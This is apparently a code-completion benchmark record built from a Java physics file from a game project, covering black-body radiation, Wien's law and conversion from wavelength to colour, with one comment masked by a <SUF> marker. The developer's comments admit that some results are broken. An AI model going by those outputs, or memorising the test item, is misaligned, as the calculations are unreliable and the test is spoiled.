public static final double gravitationalConstant = 6.674 * Math.pow(10, -11);
// ? : not sure what to call this, but it doesn't change so we can precalculate it
public static final double unnamedConstant = (2 * planckConstant * Math.pow(speedOfLight, 2));
/** Wien's displacement law: λₘT = b
* Hotter things - peak at shorter wavelengths - bluer
* Cooler things - peak at longer wavelengths - redder
* λₘ = The maximum wavelength in nanometers corresponding to peak intensity
* T = The absolute temperature in kelvin
* b = Wein’s Constant: 2.88 x 10-3 m-K or 0.288 cm-K
*/
public static double temperatureToWavelength(double kelvin) {
return wiensConstant / kelvin;
}
/** T = b / λₘ */
public static double wavelengthToTemperature(double wavelength) {
return wiensConstant / wavelength;
}
/** ν = c / λ
* ν = frequency (hertz)
* λ = wavelength (nanometers)
* c = speed of light
*/
public static double wavelengthToFrequency(double wavelength) {
return speedOfLight / wavelength;
}
/** E = (h * c) / λ
* E = energy
* λ = wavelength (nanometers)
* h = planck constant
* c = speed of light
*/
public static double wavelengthToPhotonEnergy(double wavelength) {
//energy = (planckConstant * speedOfLight) / wavelength;
return hc / wavelength;
}
/** E = hv
* E = energy
* v = frequency (hertz)
* h = planck constant
*/
public static double frequencyToPhotonEnergy(double frequency) {
//energy = planckConstant * frequency;
return planckConstant * frequency;
}
/** Rayleigh–Jeans law: uν = (8 * π * (ν^2) * k * T) / (c^2)
* Note: formula fits low frequencies but fails increasingly for higher frequencies.
* see: "ultraviolet catastrophe"
* uν =
* v = frequency (hertz)
* k = Boltzmann's constant
* T = is the absolute temperature of the radiating bod
* c = speed of light
*/
public static double RayleighJeansLaw(int wavelength) {
double frequency = wavelengthToFrequency(wavelength);
double temperature = wavelengthToTemperature(wavelength);
return (8 * Math.PI * Math.pow(frequency, 2) * boltzmannConstant * temperature) / Math.pow(speedOfLight, 2);
}
/** Planck's law of black-body radiation: L(λ) = (2 h c^2) / (λ^5 (e^((h c)/(λ k T)) - 1))
* L(λ) = spectral radiance as function of wavelength
* λ = wavelength
* T = temperature of the body Kelvin
* h = Planck constant (≈ 6.626×10^-34 J s)
* c = speed of light (≈ 2.998×10^8 m/s)
* k Boltzmann constant (≈ 1.381×10^-23 J/K)
*/
public static double calcSpectralRadiance(int wavelength, double temperature) {
//L(λ) = (2 h c^2) / (λ^5 (e^((h c)/(λ k T)) - 1))
//L = (2 * planckConstant * (speedOfLight ^ 2)) /
//((wavelength ^ 5) * (Math.E ^ ( ((planckConstant * speedOfLight) / (wavelength * boltzmannConstant * temperature)) - 1)));
//break down
//double unnamedConstant = (2.0 * planckConstant * Math.pow(speedOfLight, 2));//(2 h c^2)
//double hc = planckConstant * speedOfLight;
double a = wavelength * boltzmannConstant * temperature;
double b = Math.exp(hc / a) - 1; //(e^((h c)/(λ k T)) - 1)
return unnamedConstant / (Math.pow(wavelength, 5) * b);
}
public static void calculateBlackBody(int wavelengthStart, int wavelengthEnd, double temperature) {
//double temperature = 5772;// wavelengthToTemperature(502);
for (int wavelength = wavelengthStart; wavelength <= wavelengthEnd; wavelength++) {
//we can kinda ignore rayleigh jean as we know it will produce incorrect values, just testing
//double r = RayleighJeansLaw(wavelength);
//Gdx.app.debug("Raleigh Jean ", String.format("%s - %g", wavelength, r));
double spectralRadiance = calcSpectralRadiance(wavelength, temperature);
Gdx.app.debug("spectralRadiance", String.format("%s - %g", wavelength, spectralRadiance));
//just a test: i don't think we have a precision issue...
//BigDecimal spectralBigDecimal = calcSpectralRadianceBig(wavelength);
//Gdx.app.debug("spectral precise", wavelength + " - " + spectralBigDecimal.toPlainString());
}
//expected output: 2.19308090702e+13
// 5772k, 502nm
// Radiant emittance: 6.29403e+07 W/m2
// Radiance: 2.00345e+07 W/m2/sr
// Peak spectral radiance: 2.19308090702e+13 (W*sr-1*m-3)
// 26239737.802334465 (W/m2-sr-um)
// Spectral Radiance: 4207.38 W/m2/sr/µm (5.03412e+19 photons/J)
//
//current broken outputs:
// [Raleigh Jean ] 502 - 7.94834e-30
// [spectralRadiance] 502 - 1.01051e-29
// [spectral precise] 502 - 0.000000000000000000000000000010105
//502 - 1.17864e+13
//1.01051e-29
//7.50587e-28
//7.52394e-22
}
/** approximate RGB [0-255] values for wavelengths between 380 nm and 780 nm
* Ported from: RGB VALUES FOR VISIBLE WAVELENGTHS by Dan Bruton (astro@tamu.edu)
* http://www.physics.sfasu.edu/astro/color/spectra.html
*/
public static int[] wavelengthToRGB(double wavelength, double gamma) {
double factor;
double red, green, blue;
if ((wavelength >= 380) && (wavelength < 440)) {
red = -(wavelength - 440) / (440 - 380);
green = 0.0;
blue = 1.0;
} else if ((wavelength >= 440) && (wavelength < 490)) {
red = 0.0;
green = (wavelength - 440) / (490 - 440);
blue = 1.0;
} else if ((wavelength >= 490) && (wavelength < 510)) {
red = 0.0;
green = 1.0;
blue = -(wavelength - 510) / (510 - 490);
} else if ((wavelength >= 510) && (wavelength < 580)) {
red = (wavelength - 510) / (580 - 510);
green = 1.0;
blue = 0.0;
} else if ((wavelength >= 580) && (wavelength < 645)) {
red = 1.0;
green = -(wavelength - 645) / (645 - 580);
blue = 0.0;
} else if ((wavelength >= 645) && (wavelength < 781)) {
red = 1.0;
green = 0.0;
blue = 0.0;
} else {
red = 0.0;
green = 0.0;
blue = 0.0;
}
// Let the intensity fall off near the vision limits
if ((wavelength >= 380) && (wavelength < 420)) {
factor = 0.3 + 0.7 * (wavelength - 380) / (420 - 380);
} else if ((wavelength >= 420) && (wavelength < 701)) {
factor = 1.0;
} else if ((wavelength >= 701) && (wavelength < 781)) {
factor = 0.3 + 0.7 * (780 - wavelength) / (780 - 700);
} else {
factor = 0.0;
}
// Don't want 0^x = 1 for x <> 0
final double intensityMax = 255;
int[] rgb = new int[3];
rgb[0] = red == 0.0 ? 0 : (int)Math.round(intensityMax * Math.pow(red * factor, gamma));
rgb[1] = green == 0.0 ? 0 : (int)Math.round(intensityMax * Math.pow(green * factor, gamma));
rgb[2] = blue == 0.0 ? 0 : (int)Math.round(intensityMax * Math.pow(blue * factor, gamma));
return rgb;
}
/** approximate RGB [0-255] values for wavelengths between 380 nm and 780 nm with a default gamma of 0.8 */
public static int[] wavelengthToRGB(double wavelength) {
return wavelengthToRGB(wavelength, 0.8);
}
public static void test() {
/* Black Body Radiation!
* Common color temperatures (Kelvin):
* 1900 Candle flame
* 2000 Sunlight at sunset
* 2800 Tungsten bulb—60 watt
* 2900 Tungsten bulb—200 watt
* 3300 Tungsten/halogen lamp
* 3780 Carbon arc lamp
* 5500 Sunlight plus skylight
* 5772 Sun "effective temperature"
* 6000 Xenon strobe light
* 6500 Overcast sky
* 7500 North sky light
*
* Harvard spectral classification
* O ≥ 33,000 K blue
* B 10,000–33,000 K blue white
* A 7,500–10,000 K white
* F 6,000–7,500 K yellow white
* G 5,200–6,000 K yellow
* K 3,700–5,200 K orange
* M 2,000–3,700 K red
* R 1,300–2,000 K red
* N 1,300–2,000 K red
* S 1,300–2,000 K red
*/
//Known sun values: 5772K | 502nm | 597.2 terahertz | 2.47 eV
double kelvin = Sun.kelvin; //5772
double expectedWavelength = 502;
double expectedFrequency = 597.2;
double expectedEnergy = 2.47;
double calculatedWavelength = temperatureToWavelength(kelvin);
double calculatedTemperature = wavelengthToTemperature(expectedWavelength);
double calculatedFrequency = wavelengthToFrequency(expectedWavelength);
Gdx.app.debug("PhysicsDebug", kelvin + " K = " + MyMath.round(calculatedWavelength * 1000000, 1) + " nm");
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + MyMath.round(calculatedTemperature * 1000000, 1) + " K");
Gdx.app.debug("PhysicsDebug", "temp(wave(" + kelvin + ")) = " + wavelengthToTemperature(calculatedWavelength));
Gdx.app.debug("PhysicsDebug", "wave(temp(" + expectedWavelength +")) = " + temperatureToWavelength(calculatedTemperature));
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + MyMath.round(calculatedFrequency / 1000, 1) + " THz");
Gdx.app.debug("PhysicsDebug", "wavelength expected: " + MathUtils.isEqual((float)calculatedWavelength * 1000000, (float) expectedWavelength, 0.1f));
Gdx.app.debug("PhysicsDebug", "temperature expected: " + MathUtils.isEqual((float)calculatedTemperature * 1000000, (float) kelvin, 0.5f));
//Gdx.app.debug("PhysicsDebug", "frequency expected: " + MathUtils.isEqual((float)calculatedFrequency , (float) expectedFrequency, 0.1f));
//todo: photon energy calculations are returning 3.95706346613546E-28, expecting 2.47 eV
// bug: planck is coming out as -291.54400000000004. expected: 6.626 * (10 ^ -34)
// update, turns out i need to use math.pow, not ^ [^ = Bitwise exclusive OR] ....i'm a little rusty
// have we hit the Double.MIN_EXPONENT...is there a precision bug or is my math wrong?
// frequencyToPhotonEnergy: 502.0 nm = 3.9570634604560330026360810734331607818603515625E-28 eV
// wavelengthToPhotonEnergy: 502.0 nm = 3.95706346613546E-28 eV
// expected: 2.47 eV
// photonEnergy 0.000000000000000000000000198644586 precision: 47 - scale: 74
Gdx.app.debug("PhysicsDebug", "planck double: " + planckConstant);
Gdx.app.debug("PhysicsDebug", "size of double: [" + Double.MIN_VALUE + " to " + Double.MAX_VALUE
+ "] exp: [" + Double.MIN_EXPONENT + " to " + Double.MAX_EXPONENT + "]");
//high precision big decimals
Gdx.app.debug("PhysicsDebug","planck bigdecimal: " + planckBig.toString() + " -> " + planckBig.toPlainString()
+ " | precision: " + planckBig.precision() + " - scale: " + planckBig.scale());
Gdx.app.debug("PhysicsDebug","h * c def: " + hcBig.toPlainString()
+ " | precision: " + hcBig.precision() + " - scale: " + hcBig.scale());
Gdx.app.debug("PhysicsDebug","h * c calc: " + hcCalculated.toString() + " -> " + hcCalculated.toPlainString()
+ " | precision: " + hcCalculated.precision() + " - scale: " + hcCalculated.scale());
//BigDecimal photonEnergy = frequencyToPhotonEnergy(calculatedFrequency);
//Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + photonEnergy.toString() + " eV -> " + hcBig.toPlainString() + " | precision: " + photonEnergy.precision() + " - scale: " + photonEnergy.scale());
double photonEnergy = frequencyToPhotonEnergy(calculatedFrequency);
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + photonEnergy + " eV ");
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + wavelengthToPhotonEnergy(expectedWavelength) + " eV");
/* A typical human eye will respond to wavelengths from about 380 to about 750 nanometers.
* Tristimulus values: The human eye with normal vision has three kinds of cone cells that sense light, having peaks of spectral sensitivity in
* short 420 nm – 440 nm
* middle 530 nm – 540 nm
* long 560 nm – 580 nm
*
* Typical color ranges:
* Color Wavelength(nm) Frequency(THz)
* Red 620-750 484-400
* Orange 590-620 508-484
* Yellow 570-590 526-508
* Green 495-570 606-526
* Blue 450-495 668-606
* Violet 380-450 789-668
*/
double gamma = 0.8;
int red = 650;
int green = 540;
int blue = 470;
Gdx.app.debug("PhysicsDebug", expectedWavelength + " -> " + Arrays.toString(wavelengthToRGB(expectedWavelength, gamma)));
Gdx.app.debug("PhysicsDebug", red + " -> " + Arrays.toString(wavelengthToRGB(red, gamma)));//red-ish
Gdx.app.debug("PhysicsDebug", green + " -> " + Arrays.toString(wavelengthToRGB(green, gamma)));//green-ish
Gdx.app.debug("PhysicsDebug", blue + " -> " + Arrays.toString(wavelengthToRGB(blue, gamma)));//blue-ish
//wavelengthToRGB() approximates 380 nm and 780 nm
int rgbMinWavelength = 380;
int rgbMaxWavelength = 780;
double lowestVisibleTemperature = wavelengthToTemperature(rgbMinWavelength);
double highestVisibleTemperature = wavelengthToTemperature(rgbMaxWavelength);
Gdx.app.debug("PhysicsDebug", "380nm to 780nm = " + MyMath.round(lowestVisibleTemperature * 1000000, 1)
+ "K" + " to " + MyMath.round(highestVisibleTemperature * 1000000, 1) + "K");
Gdx.app.debug("PhysicsDebug", rgbMinWavelength + "nm " + MyMath.round(lowestVisibleTemperature, 1) + "K -> " + Arrays.toString(wavelengthToRGB(rgbMinWavelength, gamma)));
Gdx.app.debug("PhysicsDebug", rgbMaxWavelength + "nm " + MyMath.round(highestVisibleTemperature, 1) + "K -> " + Arrays.toString(wavelengthToRGB(rgbMaxWavelength, gamma)));
//calculateBlackBody(rgbMinWavelength, rgbMaxWavelength, kelvin);
//calculateBlackBody(380, 400);
BlackBodyColorSpectrum.test();
// 5772 K -> xyz 0.3266 0.3359 0.3376 -> rgb 1.000 0.867 0.813
Vector3 spectrum = BlackBodyColorSpectrum.spectrumToXYZ(kelvin);
Vector3 color = BlackBodyColorSpectrum.xyzToRGB(BlackBodyColorSpectrum.SMPTEsystem, spectrum.x, spectrum.y, spectrum.z);
String xyzTemp = String.format(" %5.0f K %.4f %.4f %.4f ", kelvin, spectrum.x, spectrum.y, spectrum.z);
if (BlackBodyColorSpectrum.constrainRGB(color)) {
Vector3 normal = BlackBodyColorSpectrum.normRGB(color.x, color.y, color.z);
Gdx.app.log("PhysicsDebug", xyzTemp + String.format("%.3f %.3f %.3f (Approximation)", normal.x, normal.y, normal.z));
//Gdx.app.log(this.getClass().getSimpleName(), xyzTemp + String.format("%.3f %.3f %.3f (Approximation)", color.z, color.y, color.z));
} else {
Vector3 normal = BlackBodyColorSpectrum.normRGB(color.x, color.y, color.z);
//Gdx.app.log(this.getClass().getSimpleName(), xyzTemp + String.format("%.3f %.3f %.3f", color.x, color.y, color.z));
Gdx.app.log("PhysicsDebug", xyzTemp + String.format("%.3f %.3f %.3f", normal.x, normal.y, normal.z));
}
}
public static class Sun {
public static final String spectralClass = "GV2 (main sequence)";
//mass: nominal solar mass parameter: GM⊙ = 1.3271244 × 10^20 m3 s−2 or 1.9885 × 10^30 kg.
public static final double mass = 1.9885 * Math.pow(10, 30);//kg
//radius: nominal solar radius R⊙ = 6.957 × 10^8 m
public static final double radius = 6.957 * Math.pow(10, 8);//m
//effective temperature
public static final double kelvin = 5772; //K
//5772K = 502nm = 597 THz = green light
public static final double peakWavelength = temperatureToWavelength(kelvin) * 1000000;
//luminosity: 1 sol -> L⊙ = nominal solar luminosity: L⊙ = 3.828 × 10^26 W
public static final double luminosity = 3.828 * Math.pow(10, 26); //Watts
//public static final age = 4.78 billion years
//AU Astronomical unit: roughly the distance from Earth to the Sun ~1.495978707 × 10^11 m
public static final long astronomicalUnit = 149597870700L;
}
}
| 0XDE57/SpaceProject | core/src/com/spaceproject/math/Physics.java | 6,565 | // b: Wien's displacement constant: 2.897771955 × 10−3 m⋅K,[1] or b ≈ 2898 μm⋅K | line_comment | nl | package com.spaceproject.math;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.math.MathUtils;
import com.badlogic.gdx.math.Vector3;
import java.math.BigDecimal;
import java.util.Arrays;
/**
* Disclaimer: I am not a physicist. There may be errata but I will do my best.
* Sources:
* https://en.wikipedia.org/wiki/Black-body_radiation
* https://en.wikipedia.org/wiki/Planck%27s_law
* https://en.wikipedia.org/wiki/Wien%27s_displacement_law
* https://en.wikipedia.org/wiki/Rayleigh%E2%80%93Jeans_law
* https://en.wikipedia.org/wiki/Stefan%E2%80%93Boltzmann_law
* https://en.wikipedia.org/wiki/Stellar_classification
*
* https://www.fourmilab.ch/documents/specrend/
* https://en.wikipedia.org/wiki/CIE_1931_color_space#Color_matching_functions
*
* Wolfram Alpha for testing and confirming formulas and values.
* https://www.wolframalpha.com/widgets/view.jsp?id=5072e9b72faacd73c9a4e4cb36ad08d
*
* Also found a tool that simulates:
* https://phet.colorado.edu/sims/html/blackbody-spectrum/latest/blackbody-spectrum_en.html
*/
public class Physics {
// ------ Universal Constants ------
// c: Speed of light: 299,792,458 (meters per second)
public static final long speedOfLight = 299792458; //m/s
// h: Planck's constant: 6.626 × 10^-34 (Joule seconds)
public static final double planckConstant = 6.626 * Math.pow(10, -34); //Js
public static final BigDecimal planckBig = new BigDecimal("6.62607015").movePointLeft(34);
// h*c: precalculated planckConstant * speedOfLight = 1.98644586...× 10^−25 J⋅m
public static final double hc = planckConstant * speedOfLight;
public static final BigDecimal hcBig = new BigDecimal("1.98644586").movePointLeft(25);
public static final BigDecimal hcCalculated = planckBig.multiply(new BigDecimal(speedOfLight));
// k: Boltzmann constant: 1.380649 × 10^-23 J⋅K (Joules per Kelvin)
public static final double boltzmannConstant = 1.380649 * Math.pow(10, -23); //JK
public static final BigDecimal boltzmannBig = new BigDecimal("1.380649").movePointLeft(23); //JK
// b: Wien's<SUF>
public static final double wiensConstant = 2.8977719; //mK
// G: Gravitational constant: 6.674×10−11 Nm^2 / kg^2 (newton square meters per kilogram squared)
public static final double gravitationalConstant = 6.674 * Math.pow(10, -11);
// ? : not sure what to call this, but it doesn't change so we can precalculate it
public static final double unnamedConstant = (2 * planckConstant * Math.pow(speedOfLight, 2));
/** Wien's displacement law: λₘT = b
* Hotter things - peak at shorter wavelengths - bluer
* Cooler things - peak at longer wavelengths - redder
* λₘ = The maximum wavelength in nanometers corresponding to peak intensity
* T = The absolute temperature in kelvin
* b = Wein’s Constant: 2.88 x 10-3 m-K or 0.288 cm-K
*/
public static double temperatureToWavelength(double kelvin) {
return wiensConstant / kelvin;
}
/** T = b / λₘ */
public static double wavelengthToTemperature(double wavelength) {
return wiensConstant / wavelength;
}
/** ν = c / λ
* ν = frequency (hertz)
* λ = wavelength (nanometers)
* c = speed of light
*/
public static double wavelengthToFrequency(double wavelength) {
return speedOfLight / wavelength;
}
/** E = (h * c) / λ
* E = energy
* λ = wavelength (nanometers)
* h = planck constant
* c = speed of light
*/
public static double wavelengthToPhotonEnergy(double wavelength) {
//energy = (planckConstant * speedOfLight) / wavelength;
return hc / wavelength;
}
/** E = hv
* E = energy
* v = frequency (hertz)
* h = planck constant
*/
public static double frequencyToPhotonEnergy(double frequency) {
//energy = planckConstant * frequency;
return planckConstant * frequency;
}
/** Rayleigh–Jeans law: uν = (8 * π * (ν^2) * k * T) / (c^2)
* Note: formula fits low frequencies but fails increasingly for higher frequencies.
* see: "ultraviolet catastrophe"
* uν =
* v = frequency (hertz)
* k = Boltzmann's constant
* T = is the absolute temperature of the radiating bod
* c = speed of light
*/
public static double RayleighJeansLaw(int wavelength) {
double frequency = wavelengthToFrequency(wavelength);
double temperature = wavelengthToTemperature(wavelength);
return (8 * Math.PI * Math.pow(frequency, 2) * boltzmannConstant * temperature) / Math.pow(speedOfLight, 2);
}
/** Planck's law of black-body radiation: L(λ) = (2 h c^2) / (λ^5 (e^((h c)/(λ k T)) - 1))
* L(λ) = spectral radiance as function of wavelength
* λ = wavelength
* T = temperature of the body Kelvin
* h = Planck constant (≈ 6.626×10^-34 J s)
* c = speed of light (≈ 2.998×10^8 m/s)
* k Boltzmann constant (≈ 1.381×10^-23 J/K)
*/
public static double calcSpectralRadiance(int wavelength, double temperature) {
//L(λ) = (2 h c^2) / (λ^5 (e^((h c)/(λ k T)) - 1))
//L = (2 * planckConstant * (speedOfLight ^ 2)) /
//((wavelength ^ 5) * (Math.E ^ ( ((planckConstant * speedOfLight) / (wavelength * boltzmannConstant * temperature)) - 1)));
//break down
//double unnamedConstant = (2.0 * planckConstant * Math.pow(speedOfLight, 2));//(2 h c^2)
//double hc = planckConstant * speedOfLight;
double a = wavelength * boltzmannConstant * temperature;
double b = Math.exp(hc / a) - 1; //(e^((h c)/(λ k T)) - 1)
return unnamedConstant / (Math.pow(wavelength, 5) * b);
}
public static void calculateBlackBody(int wavelengthStart, int wavelengthEnd, double temperature) {
//double temperature = 5772;// wavelengthToTemperature(502);
for (int wavelength = wavelengthStart; wavelength <= wavelengthEnd; wavelength++) {
//we can kinda ignore rayleigh jean as we know it will produce incorrect values, just testing
//double r = RayleighJeansLaw(wavelength);
//Gdx.app.debug("Raleigh Jean ", String.format("%s - %g", wavelength, r));
double spectralRadiance = calcSpectralRadiance(wavelength, temperature);
Gdx.app.debug("spectralRadiance", String.format("%s - %g", wavelength, spectralRadiance));
//just a test: i don't think we have a precision issue...
//BigDecimal spectralBigDecimal = calcSpectralRadianceBig(wavelength);
//Gdx.app.debug("spectral precise", wavelength + " - " + spectralBigDecimal.toPlainString());
}
//expected output: 2.19308090702e+13
// 5772k, 502nm
// Radiant emittance: 6.29403e+07 W/m2
// Radiance: 2.00345e+07 W/m2/sr
// Peak spectral radiance: 2.19308090702e+13 (W*sr-1*m-3)
// 26239737.802334465 (W/m2-sr-um)
// Spectral Radiance: 4207.38 W/m2/sr/µm (5.03412e+19 photons/J)
//
//current broken outputs:
// [Raleigh Jean ] 502 - 7.94834e-30
// [spectralRadiance] 502 - 1.01051e-29
// [spectral precise] 502 - 0.000000000000000000000000000010105
//502 - 1.17864e+13
//1.01051e-29
//7.50587e-28
//7.52394e-22
}
/** approximate RGB [0-255] values for wavelengths between 380 nm and 780 nm
* Ported from: RGB VALUES FOR VISIBLE WAVELENGTHS by Dan Bruton (astro@tamu.edu)
* http://www.physics.sfasu.edu/astro/color/spectra.html
*/
public static int[] wavelengthToRGB(double wavelength, double gamma) {
double factor;
double red, green, blue;
if ((wavelength >= 380) && (wavelength < 440)) {
red = -(wavelength - 440) / (440 - 380);
green = 0.0;
blue = 1.0;
} else if ((wavelength >= 440) && (wavelength < 490)) {
red = 0.0;
green = (wavelength - 440) / (490 - 440);
blue = 1.0;
} else if ((wavelength >= 490) && (wavelength < 510)) {
red = 0.0;
green = 1.0;
blue = -(wavelength - 510) / (510 - 490);
} else if ((wavelength >= 510) && (wavelength < 580)) {
red = (wavelength - 510) / (580 - 510);
green = 1.0;
blue = 0.0;
} else if ((wavelength >= 580) && (wavelength < 645)) {
red = 1.0;
green = -(wavelength - 645) / (645 - 580);
blue = 0.0;
} else if ((wavelength >= 645) && (wavelength < 781)) {
red = 1.0;
green = 0.0;
blue = 0.0;
} else {
red = 0.0;
green = 0.0;
blue = 0.0;
}
// Let the intensity fall off near the vision limits
if ((wavelength >= 380) && (wavelength < 420)) {
factor = 0.3 + 0.7 * (wavelength - 380) / (420 - 380);
} else if ((wavelength >= 420) && (wavelength < 701)) {
factor = 1.0;
} else if ((wavelength >= 701) && (wavelength < 781)) {
factor = 0.3 + 0.7 * (780 - wavelength) / (780 - 700);
} else {
factor = 0.0;
}
// Don't want 0^x = 1 for x <> 0
final double intensityMax = 255;
int[] rgb = new int[3];
rgb[0] = red == 0.0 ? 0 : (int)Math.round(intensityMax * Math.pow(red * factor, gamma));
rgb[1] = green == 0.0 ? 0 : (int)Math.round(intensityMax * Math.pow(green * factor, gamma));
rgb[2] = blue == 0.0 ? 0 : (int)Math.round(intensityMax * Math.pow(blue * factor, gamma));
return rgb;
}
/** approximate RGB [0-255] values for wavelengths between 380 nm and 780 nm with a default gamma of 0.8 */
public static int[] wavelengthToRGB(double wavelength) {
return wavelengthToRGB(wavelength, 0.8);
}
public static void test() {
/* Black Body Radiation!
* Common color temperatures (Kelvin):
* 1900 Candle flame
* 2000 Sunlight at sunset
* 2800 Tungsten bulb—60 watt
* 2900 Tungsten bulb—200 watt
* 3300 Tungsten/halogen lamp
* 3780 Carbon arc lamp
* 5500 Sunlight plus skylight
* 5772 Sun "effective temperature"
* 6000 Xenon strobe light
* 6500 Overcast sky
* 7500 North sky light
*
* Harvard spectral classification
* O ≥ 33,000 K blue
* B 10,000–33,000 K blue white
* A 7,500–10,000 K white
* F 6,000–7,500 K yellow white
* G 5,200–6,000 K yellow
* K 3,700–5,200 K orange
* M 2,000–3,700 K red
* R 1,300–2,000 K red
* N 1,300–2,000 K red
* S 1,300–2,000 K red
*/
//Known sun values: 5772K | 502nm | 597.2 terahertz | 2.47 eV
double kelvin = Sun.kelvin; //5772
double expectedWavelength = 502;
double expectedFrequency = 597.2;
double expectedEnergy = 2.47;
double calculatedWavelength = temperatureToWavelength(kelvin);
double calculatedTemperature = wavelengthToTemperature(expectedWavelength);
double calculatedFrequency = wavelengthToFrequency(expectedWavelength);
Gdx.app.debug("PhysicsDebug", kelvin + " K = " + MyMath.round(calculatedWavelength * 1000000, 1) + " nm");
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + MyMath.round(calculatedTemperature * 1000000, 1) + " K");
Gdx.app.debug("PhysicsDebug", "temp(wave(" + kelvin + ")) = " + wavelengthToTemperature(calculatedWavelength));
Gdx.app.debug("PhysicsDebug", "wave(temp(" + expectedWavelength +")) = " + temperatureToWavelength(calculatedTemperature));
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + MyMath.round(calculatedFrequency / 1000, 1) + " THz");
Gdx.app.debug("PhysicsDebug", "wavelength expected: " + MathUtils.isEqual((float)calculatedWavelength * 1000000, (float) expectedWavelength, 0.1f));
Gdx.app.debug("PhysicsDebug", "temperature expected: " + MathUtils.isEqual((float)calculatedTemperature * 1000000, (float) kelvin, 0.5f));
//Gdx.app.debug("PhysicsDebug", "frequency expected: " + MathUtils.isEqual((float)calculatedFrequency , (float) expectedFrequency, 0.1f));
//todo: photon energy calculations are returning 3.95706346613546E-28, expecting 2.47 eV
// bug: planck is coming out as -291.54400000000004. expected: 6.626 * (10 ^ -34)
// update, turns out i need to use math.pow, not ^ [^ = Bitwise exclusive OR] ....i'm a little rusty
// have we hit the Double.MIN_EXPONENT...is there a precision bug or is my math wrong?
// frequencyToPhotonEnergy: 502.0 nm = 3.9570634604560330026360810734331607818603515625E-28 eV
// wavelengthToPhotonEnergy: 502.0 nm = 3.95706346613546E-28 eV
// expected: 2.47 eV
// photonEnergy 0.000000000000000000000000198644586 precision: 47 - scale: 74
Gdx.app.debug("PhysicsDebug", "planck double: " + planckConstant);
Gdx.app.debug("PhysicsDebug", "size of double: [" + Double.MIN_VALUE + " to " + Double.MAX_VALUE
+ "] exp: [" + Double.MIN_EXPONENT + " to " + Double.MAX_EXPONENT + "]");
//high precision big decimals
Gdx.app.debug("PhysicsDebug","planck bigdecimal: " + planckBig.toString() + " -> " + planckBig.toPlainString()
+ " | precision: " + planckBig.precision() + " - scale: " + planckBig.scale());
Gdx.app.debug("PhysicsDebug","h * c def: " + hcBig.toPlainString()
+ " | precision: " + hcBig.precision() + " - scale: " + hcBig.scale());
Gdx.app.debug("PhysicsDebug","h * c calc: " + hcCalculated.toString() + " -> " + hcCalculated.toPlainString()
+ " | precision: " + hcCalculated.precision() + " - scale: " + hcCalculated.scale());
//BigDecimal photonEnergy = frequencyToPhotonEnergy(calculatedFrequency);
//Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + photonEnergy.toString() + " eV -> " + hcBig.toPlainString() + " | precision: " + photonEnergy.precision() + " - scale: " + photonEnergy.scale());
double photonEnergy = frequencyToPhotonEnergy(calculatedFrequency);
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + photonEnergy + " eV ");
Gdx.app.debug("PhysicsDebug", expectedWavelength + " nm = " + wavelengthToPhotonEnergy(expectedWavelength) + " eV");
/* A typical human eye will respond to wavelengths from about 380 to about 750 nanometers.
* Tristimulus values: The human eye with normal vision has three kinds of cone cells that sense light, having peaks of spectral sensitivity in
* short 420 nm – 440 nm
* middle 530 nm – 540 nm
* long 560 nm – 580 nm
*
* Typical color ranges:
* Color Wavelength(nm) Frequency(THz)
* Red 620-750 484-400
* Orange 590-620 508-484
* Yellow 570-590 526-508
* Green 495-570 606-526
* Blue 450-495 668-606
* Violet 380-450 789-668
*/
double gamma = 0.8;
int red = 650;
int green = 540;
int blue = 470;
Gdx.app.debug("PhysicsDebug", expectedWavelength + " -> " + Arrays.toString(wavelengthToRGB(expectedWavelength, gamma)));
Gdx.app.debug("PhysicsDebug", red + " -> " + Arrays.toString(wavelengthToRGB(red, gamma)));//red-ish
Gdx.app.debug("PhysicsDebug", green + " -> " + Arrays.toString(wavelengthToRGB(green, gamma)));//green-ish
Gdx.app.debug("PhysicsDebug", blue + " -> " + Arrays.toString(wavelengthToRGB(blue, gamma)));//blue-ish
//wavelengthToRGB() approximates 380 nm and 780 nm
int rgbMinWavelength = 380;
int rgbMaxWavelength = 780;
double lowestVisibleTemperature = wavelengthToTemperature(rgbMinWavelength);
double highestVisibleTemperature = wavelengthToTemperature(rgbMaxWavelength);
Gdx.app.debug("PhysicsDebug", "380nm to 780nm = " + MyMath.round(lowestVisibleTemperature * 1000000, 1)
+ "K" + " to " + MyMath.round(highestVisibleTemperature * 1000000, 1) + "K");
Gdx.app.debug("PhysicsDebug", rgbMinWavelength + "nm " + MyMath.round(lowestVisibleTemperature, 1) + "K -> " + Arrays.toString(wavelengthToRGB(rgbMinWavelength, gamma)));
Gdx.app.debug("PhysicsDebug", rgbMaxWavelength + "nm " + MyMath.round(highestVisibleTemperature, 1) + "K -> " + Arrays.toString(wavelengthToRGB(rgbMaxWavelength, gamma)));
//calculateBlackBody(rgbMinWavelength, rgbMaxWavelength, kelvin);
//calculateBlackBody(380, 400);
BlackBodyColorSpectrum.test();
// 5772 K -> xyz 0.3266 0.3359 0.3376 -> rgb 1.000 0.867 0.813
Vector3 spectrum = BlackBodyColorSpectrum.spectrumToXYZ(kelvin);
Vector3 color = BlackBodyColorSpectrum.xyzToRGB(BlackBodyColorSpectrum.SMPTEsystem, spectrum.x, spectrum.y, spectrum.z);
String xyzTemp = String.format(" %5.0f K %.4f %.4f %.4f ", kelvin, spectrum.x, spectrum.y, spectrum.z);
if (BlackBodyColorSpectrum.constrainRGB(color)) {
Vector3 normal = BlackBodyColorSpectrum.normRGB(color.x, color.y, color.z);
Gdx.app.log("PhysicsDebug", xyzTemp + String.format("%.3f %.3f %.3f (Approximation)", normal.x, normal.y, normal.z));
//Gdx.app.log(this.getClass().getSimpleName(), xyzTemp + String.format("%.3f %.3f %.3f (Approximation)", color.z, color.y, color.z));
} else {
Vector3 normal = BlackBodyColorSpectrum.normRGB(color.x, color.y, color.z);
//Gdx.app.log(this.getClass().getSimpleName(), xyzTemp + String.format("%.3f %.3f %.3f", color.x, color.y, color.z));
